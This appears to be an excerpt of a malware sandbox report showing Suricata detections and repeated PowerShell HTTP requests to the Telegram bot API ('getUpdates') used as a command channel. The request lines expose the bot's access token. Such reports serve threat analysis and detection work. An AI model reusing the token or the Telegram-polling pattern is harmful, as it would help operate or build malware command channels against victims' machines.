Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:64980 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:64976 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Source: global traffic

TCP traffic: 192.168.2.5:64778 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 149.154.167.220 149.154.167.220

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49705 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49705 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49725 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49725 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:64791 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:64791 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49794 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49794 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:64862 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:64862 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:64981 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:64981 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:64990 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:64990 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:64986 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:64986 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:64987 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:64975 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:64978 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:64987 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:64983 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:64983 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:64977 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:64977 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:64988 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:64982 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:64993 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:64993 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:64975 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:64982 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:64988 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:64944 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:64944 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:64978 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:64979 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:64979 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:64984 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:64989 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:64992 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:64992 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:64984 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:64989 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:64994 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:64994 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:64985 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:64985 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:64991 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:64991 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:64995 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:64995 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:64980 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:64980 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:64976 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:64976 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=124 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=124 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org

Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=124 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=124 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: api.telegram.org

Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: 206.23.85.13.in-addr.arpa

Source: powershell.exe, 00000005.00000002.3894525884.000001C84B386000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BA97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: svchost.exe, 00000007.00000002.3716328092.000001BDE9E68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.6.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.7.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000001.00000002.3894305093.000002AE05E3E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.3939204462.000002AE144EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.3939204462.000002AE14622000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3953240514.000001C859E44000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3953240514.000001C859D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.3894525884.000001C849EC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
